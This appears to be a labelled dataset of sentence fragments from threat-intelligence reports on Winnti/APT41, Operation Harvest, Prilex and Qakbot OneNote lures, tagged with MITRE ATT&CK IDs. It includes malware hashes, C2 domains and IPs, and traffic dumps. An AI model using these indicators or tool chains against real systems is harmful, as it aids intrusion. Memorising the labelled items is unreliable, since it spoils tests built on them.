{"sentence": "The header contains the data size (4 bytes) and byte indicating the message type (0x1, 0x2, or 0x3).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The backdoor uses this encryption method in other cases as well, which is why we refer to it as \"standard\" in the text that follows.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The client then constantly sends GET requests with pull operations.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "5.2.2 Network-level protocol Figure 43.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Messages of the \"message\" type (ones that are not hello_request, hello_response, or error) can be passed via several relays.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The backdoor collects the following system information: Values of the registry keys ProductName and CSDVersion from HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion Whether the OS is 32-bit or 64-bit List of IP addresses Computer name Username and workgroup Name of running module PID MAC addresses of network adapters Value of the Group attribute in the XML configuration 5.2.3 Application-level protocol At the application level, data is encrypted in the standard way using the value of the Password attribute from the configuration.", "labels": ["T1016", "T1033", "T1057", "T1071.001", "T1082", "T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "5.2.4 Supported commands Command Description invoke Run JScript code and get the result.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 44.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The queue connects with the sender of the createStream command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The code also contains several unused classes: an implementation of the KCP protocol, limited-size queue SizeQueue, and string serializer StreamString. Figure 46.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The first of these is the SFX archive 20200926___Request for wedding reception.exe (03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The called function is not explicitly exported.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Jumps between instructions occur by means of calls to a special function (rel_jmp), which emulates the jmp command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "WMSVC %ProgramFiles%\\Windows Media Player\\wmplayer.exe %windir%\\system32\\svchost.exe %windir%\\system32\\winlogon.exe %windir%\\explorer.exe TCP://cigy2jft92.kasprsky.info:443", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "As we wrote earlier, the other domain kasprsky[.]info has been used by attackers as a FunnySwitch C2 server.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 54.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "PlugX SFX archiveBut mapistub.dll is only a downloader.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Obfuscated shellcode from Google DocsThis process and what the similar sample does after that are described in more detail in a report from Dr.Web (QuickHeal shellcode and BackDoor.PlugX.28).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Besides the C2 servers in the configuration file, 103.79.76[.]205 and ns.mircosoftbox[.]com, in our case the attackers also used a technique typical of PlugX for getting a C2 server at a specified URL.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Contents of a.batThe main payload is in the file image.jpg, which is actually a specially crafted .NET assembly.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Comparing the sample we found to those described in that report, we conclude with strong confidence that it belongs to the same group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "As of late 2017, update.upgradsource[.]com resolved to the IP address 121.170.185[.]183.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Later, update.byeserver[.]com and update.serverbye[.]com resolved to this address as well.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Most likely, the choice is dictated by the precision (or lack thereof) of an attack: unique infection chains and highly attractive bait are held back for targeted attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Small studios tend to neglect information security, making them a tempting target.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "9.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Win32.Shadowpad.c Backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Applications 10.1 Known names of files from which PL shellcode may be loaded C_99401.NLS DriverStatics.ax DrtmAuth005.bin DrtmAuth13.bin FINTCACHE.DAT SEService.dat Theme.re WspTst.xsl cbdhsvcs.bin chrome_proxy.dll config.ini localsvc.ax log.txt msdsm.tlb normnfa.nls normnfw.nls services.bin soundsvc.sys storesync.dat storesyncsvc.ini svchosl.bin svchost.bin wbemcomn64.sys wbemcomna.dat winness.exe.config winupdate.txt 10.2 IOCs File indicators LNK file attacks 1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81 9b638f77634f535e52527d43ad850133788bfb0c c657e04141252e39b9fa75489f6320f5 0deb252a5048c3371358618750813e947458c77e651c729b9d51363f3d16b583 f50b624ba6eb9d3947f22cf7f95a6f70b7c463d3 a140420e12b68c872fe687967ac5ddbe 8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996 5b8e644acc097f7123172d96a3a45bd398661064 93ffd591948223e806c248861735e006 c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5 d500cec0ce5358751f3371b69a4a9bc402df8af4 45278d4ad4e0f4a891ec99283df153c3 bcfff6c0d72a8041a37fe3cc5c0233ac4ef8c3b7c3c6bca70d2fcfaed4c5325e 1a33f41d054a2ed2d395b19852583daddd056bb4 177e37ec8d07d6954b2102760c74708a 35a1ff5b9ad3f46222861818e3bb8a2323e20605d15d4fe395e1d16f48189530 0a462e8e3b153e249507b1652d9f6180463e7027 17548fb49ef598901ab83b7c630fbe9a beaa2c8dcf9fbf70358a8cf71b2acee95146dba79ba37943a939a2145b83b32e acf5f997a16937072a2a72f1ba7704f9703ea27c e5809996b6126a5573623a9010eb4ee2 dca8fcb7879cf4718de0ee61a88425fca9dfa9883be187bae3534076f835a54d db6333f84538a21466e5ffe3c7102e0543cec167 d53daa634260ed28fc2e8610ecf15ad3 4733d1204b06dc95178e83834af61934a423534e1d4edd402b37e226f0f2727f dba010496a7be2e5de1f923ffdfc19bf345b650b 9776f04d9c254a0b67f4dc000369a17c dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6 281c1b196cd992906d8583e64011dc28d9c52e3c 4a4a223893c67b9d34392670002d58d7 d4df4b58ee241e276ea03235445c04d1a28e48ec8b6e2599a56f6c4b8af3269b 7b6b01e9f726ab0b5f94cd68687d4787008cd7f5 4dcd2e0287e0292a1ad71cbfdf99726e d064f675765f54ee80392fcfb5d136cd2407d06d0ea8cd7d8632d1a2b24c0439 8b8b1219581555f2d9747b289d57c3e0e274fd07 260eae2912475e51d82534b467e5746b 32705d3d9f7058e688b471e896dce505b3c6543218be28bbac85f6abbc09b791 289b5017f5ee8c915f755b1c7eefffbfb3d2d799 28bfed8776c0787e9da3a2004c12b09a c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b 0f1f2431ecccb980f7d93b9af52139d0d508510f 997ab0b59d865c4bd63cc55b5e9c8b48 4e5e3762c850536aac6add3a5ac66f54cbd15c37bd8fc72d3ade9dd5e17f420b 21a5bcd916bc61585cfe1d5656240237e24157b9 07254dbd369ba10a1f28ae707ba72dcf 2d182910dade1237f1dd398d1e7af0d6eca3a74a6614089a3af671486420fb2b 0261490fb7f88cc3e9db6aa3fd185d03d7646864 f6886709564630fbb48121d0ccc7c0a6 Shellcode injectors Payload: Crosswalk 0046df35f66a3b076d9206412be2f1f7ea4641d96574e7b58578c0c0995d1feb b73fcfc423d1bdb4649440689ff4894639b3bd0e 9697d60b744a14b3003559d17cfc2f8f 325430384d642ab2a902fb0e268e85808b6cbf87506ccdc314e116e7d1b8239e 0f2a5bbe03c5b3422609b78ca90fb7f06bfd966b eee464e5ded3f4e37d49c8a91b1eb157 9e27f110fc824d8b85855538c3320e8ea436e82737d686fcecb512b6f872e172 4481c4b0cf2207099c7b5979a6e81a2923d6c698 254ace03b179c6565ac2616dd4d24f85 bec68bcaa80bb00274ef7066ddc8de1b289fb5f8b8e8573f3a961664f41da9d7 cc24843afd627ced74a1d713328078a23db81e54 914151fa49be06ab570bb0db77ce6960 3454d87b2ce0eab44c07774c7b56318710f9a63626d6d2aaf898922178bf2792 e6cd7a9f5b421b80b50e5809c35732c427c6b6d8 fbfeecea5a8c752c9bffdf6b9f7fcf50 1e29e07b404836c82cd9b75e44a3169195a335dc494ba27f744f6605666c26aa a1e0ce3c384945fdde841d91d069505879587217 d19c5c55733244f4a8d5a1af4e6c1250 3a9bbf4ee872904e729466aa50d570b43451b0945a41b5d9d114f8c24683c21e 5d1bada317d596f3dec5b86e4e42639b2f5f71ac 6d967f275beb3855980a80d60ef8023c faca607b43551044fda3c799ce7e9ce61004100544eeb196734972303f57f2ae 159a5ca55d7c62d0167740f8f5310e18e03a8fd3 4518f25c6307ef6d2ea5c0e66f2b16d1 86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961 604c5f42eeb015016b35ec1c9019812afc400f5b 7078450715c103056b01ad87787aaed6 Payload:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "4ad23aae3409c31d3d72e1d10e9d957d a1fa8cad75c5d999f1b0678fa611009572abf03dd5a836f8f2604108b503b6d2 c1af22e0d0585f6c6a2deab22a784717ee33f36d 882a60c3173e252469eb4731af3342bd 37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a 05a2b848965d77fa154ca24fa438b8e5390c21f5 e542c6fabe80af604d31ef8eaaf94053 PlugX 94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92 14c1e3dd30ef1e22e6ebadd65fb883d3e0354d47 329ecc81b222a796f46859d16bd4813c ac5b4378a907949c4edd2b2ca7734173875527e9e8d5b6d69af5aea4b8ed3a69 2293a7510101ccfd83db4bd6429db2f9d406859a d55e9a302203c8800ca89b757b0588ed e54b7d31a8dd0fbab1fa81081e54b0b9b07634c13934adaf08b23d2b6a84b89a c40acafac6c1c3ba1d1cf5497bfaf5f682f9884a a7542a2dc4dd52bd4c9b08741dc32ad7 b59a37f408fcfb8b8e7e001e875629998a570f4a5f652bcbb533ab4d30f243f7 d1cf03da461f81822287465be5942931ac29737d d3ef032a67242789316e364f7e798ff4 ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc 22bac40e845ec6551396b77e6257f50634993883 7affcfb9857cc14dcc07fb8d226f03e0 4dad1e908604c2faa4ad9d9ef3dcebc3a163e97398d41e5e398788fe8da2305b 7cbaa1757bafa3a6be0793b959feac1ea73d88ff f749aa99a08fdc737f90813f174abb30 4a89a4d9fa22f42c6d3e51cf8dca0881e34763fe0448b783599bfc00984fd2ee bd31d8bad119b9da702889b44854b054f15e2f47 4489d5077c5d2396e3a94d652adae1ca 18a14cec1abcb9c02c1094271d89f428dec1896924a949ed760d38cd0dea7217 a2e88dfb93c23ba7cd38a820b2e64f14192079c2 8d6737d573ef70b47fd39a4c5a552e0f Network Indicators LNK file attacks www.comcleanner[.]info 45.76.6[.]149 http://zeplin.atwebpages[.]com/inter.php http://goodhk.azurewebsites[.]net/inter.php http://sixindent.epizy[.]com/inter.php Shellcode injectors 6q4qp9trwi.dnslookup[.]services d89o0gm34t.livehost[.]live d89o0gm35t.livehost[.]live 168.106.1[.]1 149.28.152[.]196 207.148.99[.]56 149.28.84[.]98 Shellcode loaders exchange.dumb1[.]com microsoftbooks.dynamic-dns[.]net microsoftdocs.dns05[.]com ns.microsoftdocs.dns05[.]com ns1.dns-dropbox[.]com ns2.dns-dropbox[.]com ns1.microsoftsonline[.]net ns2.microsoftsonline[.]net ns3.mlcrosoft[.]site onenote.dns05[.]com service.dns22[.]ml update.facebookdocs[.]com 104.224.169[.]214 107.182.24[.]70 107.182.24[.]70 149.248.8[.]134 149.28.23[.]32 176.122.162[.]149 45.76.75[.]219 66.42.103[.]222 66.42.107[.]133 66.42.48[.]186 66.98.126[.]203 FunnySwitch 7hln9yr3y6.symantecupd[.]com db311secsd.kasprsky[.]info doc.goog1eweb[.]com ShadowPad cigy2jft92.kasprsky[.]info update.ilastname[.]com PlugX ns.mircosoftbox[.]com ns.upgradsource[.]com update.upgradsource[.]com 103.79.76[.]205 107.174.45[.]134 10.3 MITRE ID Name Description Reconnaissance T1593.001 Search Open Websites/Domains: Social Media Winnti uses a Twitter account to get game-related information T1594 Search Victim-Owned Websites", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Spearphishing Attachment Winnti sends phishing messages with malicious attachments T1566.002", "labels": ["T1566.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "files T1027.002 Obfuscated Files or Information: Software Packing Winnti can use VMProtect or custom packers for its malware T1055.002 Process Injection: Portable Executable Injection Winnti injects shellcode into the processes explorer.exe, winlogon.exe, wmplayer.exe, svchost.exe, and spoolsv.exe T1218.001 Signed Binary Proxy Execution: Compiled HTML File Winnti uses CHM files containing malicious code T1218.004 Signed Binary Proxy Execution: InstallUtil Paranoid PlugX can use InstallUtil to run a malicious .NET assembly T1553.002 Subvert Trust Controls: Code Signing Winnti uses stolen certificates to sign its malware Discovery T1082 System Information Discovery Winnti backdoors collect information about the computer name and OS version and whether it is 32-bit or 64-bit T1016 System Network Configuration Discovery Winnti backdoors collect information about the IP and MAC addresses of the infected machine T1033 System Owner/User Discovery Winnti backdoors collect information about the name of the current user Collection T1119 Automated Collection Winnti backdoors automatically collect information about the infected machine Command and Control T1071.001 Application Layer Protocol: Web Protocols Winnti backdoors can use HTTP/HTTPS for C2 connections T1132.001 Data Encoding: Standard Encoding Winnti uses GZip for compressing FunnySwitch data T1001.003 Data Obfuscation:", "labels": ["T1016", "T1027", "T1033", "T1055", "T1071.001", "T1082"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "There will be parts that are censored since we respect the confidentiality of the victim.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "We will also zoom in and look at how the translation to the MITRE Techniques, historical context, and evidence artifacts like PlugX and Winnti malware led to a link with another campaign, which we highly trust to be executed by the same adversary.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Privilege Escalation and Persistence [TA0004, TA0003]", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The adversary has been observed using multiple privilege escalation and persistence techniques during the period of investigation and presence in the network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Associated DLL with the hook towards the payload.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "When the executable is run, the DLL next to it is loaded.", "labels": ["T1574.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "From the redacted output of the plugin, we observed the following values for the process with possible injected code: Process: svchost.exe Pid: 860 Address: 0xb50000 Process: explorer.exe Pid: 2752 Address: 0x56a000 Process: svchost.exe Pid: 1176", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Pid: 3784 Address: 0x220000 One observation is the mention of the SVCHOST process with a ProcessID value of 1176 that is mentioned twice but with different addresses.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Investigating the traffic from our samples, we observed the check-in-signature (“20 2A 2F 2A 0D”) that is typical for PlugX network traffic: 00000000: 47 45 54 20 2F 42 34 42 42 44 43 43 30 32 39 45 00000010:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "31 31 39 37 31 39 46 30 36 35 36 32 32 20 48 54 00000020: 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 00000030: 2A 2F 2A 0D 0A 43 6F 6F 6B 69 65 3A 20 44 36 43 00000040: 57 50 2B 56 5A 47 6D 59 6B 6D 64 6D 64 64 58 55 00000050: 71 58 4D 31 71 31 6A 41 3D 0D 0A 55 73 65 72 2D During our analysis of the different PlugX samples discovered, the domain names as mentioned above stayed the same, though the payload values were different.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "[T1543.003] on the Operating System with the acquired System rights by using the *Potato tools.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The model uses the persistence technique utilizing svchost.exe with service.dll to install a rogue service.", "labels": ["T1569.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The operating method and the code used in the DLL described in the article are very similar to our analysis and observations.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The process dump also revealed further indicators.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "[data from location] 0% OK Another indicator of discovering Winnti malware was the following execution path we discovered in the command line dump of the memory:", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Unfortunately, the adversary had removed the payload file from the system.", "labels": ["T1027"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "We observed in the process dump the exfiltration of data on the system, such as OS, Processor (architecture), Domain, Username, etc.", "labels": ["T1033", "T1082"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Lateral Movement From a lateral movement perspective, the adversary used the obtained credentials to hop from asset to asset.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The file is large since it incorporates a low-level protocol interaction from Impacket.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The Python library combined with the script code is compiled with py2exe.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Where external facing assets were used, like a web server, the data was stored in a location in the Internet Information Services (IIS) web server and exfiltrated over HTTP using GET requests towards the exact file paths [T1041] [T1567] [T1071].", "labels": ["T1041", "T1071.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "*.* MINIXL redacted GET /****/[redacted].rar 80 209.58.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "What we could retrieve from open-source databases is that the use of this particular User-Agent is very limited and seems to originate from the APAC region.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Command-line syntax, specific code similarity, actor capability over time versus other groups, and unique identifiers are at the top of the ‘pyramid of pain’ in threat intelligence.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "UDP Port 20502 TCP Port 20501 Figure 12 Network connections to C2 Capturing the traffic from the malware we observed the following as an example: Figure 13 Winnti HTTP traffic to C2 The packet data was customized and sent through a POST request with several headers towards the C2.", "labels": ["T1071.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "= 52 54 00 36 Dword value 1 = 3e ff 06 b2 Dword value 2 = 99 6d 78 fe Dword value 3 = 08 00", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "45 00 Dword value 4 = 00 34 00 47 Initial handshake order: Based on our cross-correlation with samples and other OSINT resources, we believe with a high confidence that this was a Winnti 4.0 sample that connects with a confirmed Winnti C2 server.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "A lot of the (in-depth) technical indicators and techniques match.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "On a separate note, we observed the use of the Winnti malware.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The Winnti malware is known to be used by several actors.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "We strongly believe that is exactly what we observe here as well.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "PlugX, Winnti and some other custom tools all point to a group that had access to the same tools.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "T1570 Lateral Tool Transfer Adversary transferred tools/backdoors to maintain persistence T1569.002 System Services: Service Execution Adversary installed custom backdoor as a service T1068", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "T1567 Exfiltration over Web Service Gathered information was stored as ‘rar’ files on the internet-facing server, whereafter they were downloaded by a specific ip range.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "T1071.004 Application layer protocol: DNS Using DNS tunneling for the C2 traffic of the PlugX malware Indicators of Compromise (IOCs) Note: the indicators shared are to be used in a historical and timeline-based context, ranging from 2016 to March 2021.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Operation Harvest: PlugX C2: sery(.)brushupdata(.)com Dnssery(.)brushupdata(.)com Center(.)asmlbigip(.)com Tools: Mimikatz PsExec RottenPotato BadPotato Operation 2019/2020 PlugX malware: f50de0fae860a5fd780d953a8af07450661458646293bfd0fed81a1ff9eb4498 26e448fe1105b5dadae9b7607e3cca366c6ba8eccf5b6efe67b87c312651db01 e9033a5db456af922a82e1d44afc3e8e4a5732efde3e9461c1d8f7629aa55caf 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe Winnti: 800238bc27ca94279c7562f1f70241ef3a37937c15d051894472e97852ebe9f4 c3c8f6befa32edd09de3018a7be7f0b7144702cb7c626f9d8d8d9a77e201d104 df951bf75770b0f597f0296a644d96fbe9a3a8c556f4d2a2479a7bad39e7ad5f Winnti C2: 185.161.211.97 Tools: PSW64 6e983477f72c8575f8f3ff5731b74e20877b3971fa2d47683aff11cfd71b48c6 NTDSDumpEx 6db8336794a351888636cb26ebefb52aeaa4b7f90dbb3e6440c2a28e4f13ef96 NBTSCAN c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e NetSess ddeeedc8ab9ab3b90c2e36340d4674fda3b458c0afd7514735b2857f26b14c6d Smbexec e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee Wmiexec 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 Mimikatz RAR command-line TCPdump The post Operation ‘Harvest’: A Deep Dive into a Long-term Campaign appeared first on McAfee Blog.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "But the criminals’ greed had no limits: they wanted more, and so they achieved it.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "They quickly adopted the malware-as-a-service model and expanded their reach abroad, creating a toolset that included backdoors, uploaders and stealers in a modular fashion.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The attackers did not have physical access to the machines, but they were able to access the bank’s network by using a DIY device containing a 4G router and a Raspberry PI.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "After obtaining initial network access, the attacker would run a network recognition process to find the IP address of each of the ATMs.", "labels": ["T1016"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "ATM infected with Prilex ready to dispense money The malware used in the attack was named Prilex and had been developed from scratch by using privileged information and advanced knowledge of the ATM network.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Their first PoS malware was spotted in the wild in October 2016.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The PoS version of Prilex is coded in Visual Basic, but the stealer module, described in this article, is in p-code.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "A link to the past Prilex is not the only type of PoS malware to originate in Brazil.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It is highly targeted and is usually delivered through social engineering, e.g., a target business may receive a call from a “technician” who insists that the company needs to update its PoS software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The fake technician may visit the target in person or request the victims to install AnyDesk and provide remote access for the “technician” to install the malware.", "labels": ["T1219"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The bank managed to block $80,000, but the bank’s processor, which approves incoming transactions when the core systems are offline, let through the other $40,000.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It sends the purchase data to credit card acquirers, who then approve or deny the transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Prilex methods of maintaining persistence The stealer module is responsible for intercepting all communications between the point-of-sale software and the PIN pad used for reading the card during the transaction.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As the communication between the PoS software and the card reader happens through the COM port, the malware will install a hook to many Windows APIs inside the targeted process, aiming to monitor and change data as needed.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "| Check PIN9000 _", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "After dissecting the response (80128000AA5EA486052A8886DE06050A03A4B8009000), we have the following information.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Multiple application cryptograms are applied to the card, where the amount of the transaction (blue), ATC (green) and the generated cryptogram (red) change for each transaction.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST] 80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D00000000100000000000000000760000008000098620060600E22CB55580128000AB8E988F00ACEE5D4806050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST]", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Even though a new set of commands has been added to the PoS version, we could find some of those from the ATM attack still being used.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Captured data stored in the uploader C2 Malware-as-a-service In 2019, a website claiming to be affiliated with Prilex started offering what it said was a malware package created by the group.", "labels": ["T1041"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "We have no way of confirming that what is being offered is the real Prilex malware.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "At the same time, Prilex now using Subversion is a clear sign they are working with more than one developer.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This enables the attackers to keep updating their tools in order to find a way to circumvent the authorization policies, allowing them to perform their attacks.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "However, it has always abused processes relating to PoS software to intercept and modify communications with the PIN pad.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "To credit card acquirers and issuers, we recommend avoiding “security by obscurity”: do not underestimate the fraudster.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Authored By Anandeshwar Unnikrishnan,Sakshi Jaiswal,Anuradha M McAfee Labs has recently observed a new Malware campaign which used malicious OneNote documents to entice users to click on an embedded file to download and execute the Qakbot trojan.", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "We have observed that most of the malicious documents either have Windows batch script that invokes Powershell for dropping the malware on the system or Visual Basic scripts that does the same.", "labels": ["T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 2 Campaign Overview The generic theme of the email is invoice or legal related.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "The first 16 bytes need to be interpreted as GUID value {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "The size can be retrieved from the cbLength member.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 7 Embedded data in Data object For more information on the OneNote specification, go to reference section Artifact Extraction", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 8 OneNote directory in Temp By analyzing numerous malicious documents, we have been able to create a “test” OneNote document that executes a batch file that contains the “whoami” command.", "labels": ["T1033", "T1059.003"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 9 OneNote drops embedded artifacts in Temp directory Qakbot Campaign 1: This section contains specific details on a Qakbot campaign.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 11 OneNote Template Upon clicking the Open button, it drops the HTA file with the name Open.hta to the %temp%", "labels": ["T1204.002"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 17 Fake error message Figure 18 shows the process tree of Qakbot: Figure 18 Process Chain IOCs: Type Value Product Detected Campain 1 – OneNote File 88c24db6c7513f47496d2e4b81331af60a70cf8fb491540424d2a0be0b62f5ea Total Protection and LiveSafe VBS/Qakbot.a Campain 1 – HTA File e85f2b92c0c2de054af2147505320e0ce955f08a2ff411a34dce69c28b11b4e4 Total Protection and LiveSafe VBS/Qakbot.b", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "This Blog highlights the recent Qakbot 